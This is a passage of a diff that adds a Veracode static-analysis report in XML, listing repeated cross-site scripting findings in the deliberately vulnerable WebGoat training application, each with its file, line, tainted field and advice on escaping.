+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"222\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"59\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"60\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"60\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"181\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"60\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"250\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"61\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"163\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"216\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"259\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"63\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"29\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"242\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"64\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"194\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"64\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"171\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"65\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"31\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"116\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
